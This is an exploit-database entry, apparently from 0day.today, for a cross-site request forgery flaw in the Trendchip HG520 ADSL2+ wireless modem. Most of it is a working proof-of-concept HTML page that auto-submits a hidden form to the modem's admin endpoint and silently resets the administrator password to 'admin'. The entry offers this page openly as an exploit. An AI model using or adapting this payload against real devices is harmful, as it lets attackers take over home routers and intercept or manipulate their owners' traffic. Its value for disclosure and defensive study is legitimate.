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Trendchip HG520 ADSL2+ Wireless Modem CSRF Vulnerability

Author
Dhruv Shah
Risk
[
Security Risk High
]
0day-ID
0day-ID-21900
Category
web applications
Date add
17-02-2014
Platform
hardware
Cross Site Request Forgery
 
 
 
This Modem's Web Application , suffers from Cross-site request forgery
through which attacker can manipulate user data via sending him malicious
craft url.
 
 
 
The Modems's Application  not using any security token to prevent it
against CSRF. You can manipulate any userdata. PoC and Exploit to change
user password:
 
 In the POC the IP address in the POST is the modems IP address.
 
<html>
 
<body onload="javascript:document.forms[0].submit()">
 
<form method="POST" action="http://192.168.2.1/Forms/tools_admin_1"
name="tool_admin">
 
<input name="uiViewTools_Password" size="30" maxlength="30" value="admin"
type="PASSWORD">
 
<input name="uiViewTools_PasswordConfirm" size="30" maxlength="30"
value="admin" type="PASSWORD">
 
</form>
 
</body>
 
</html>

#  0day.today [2024-09-28]  #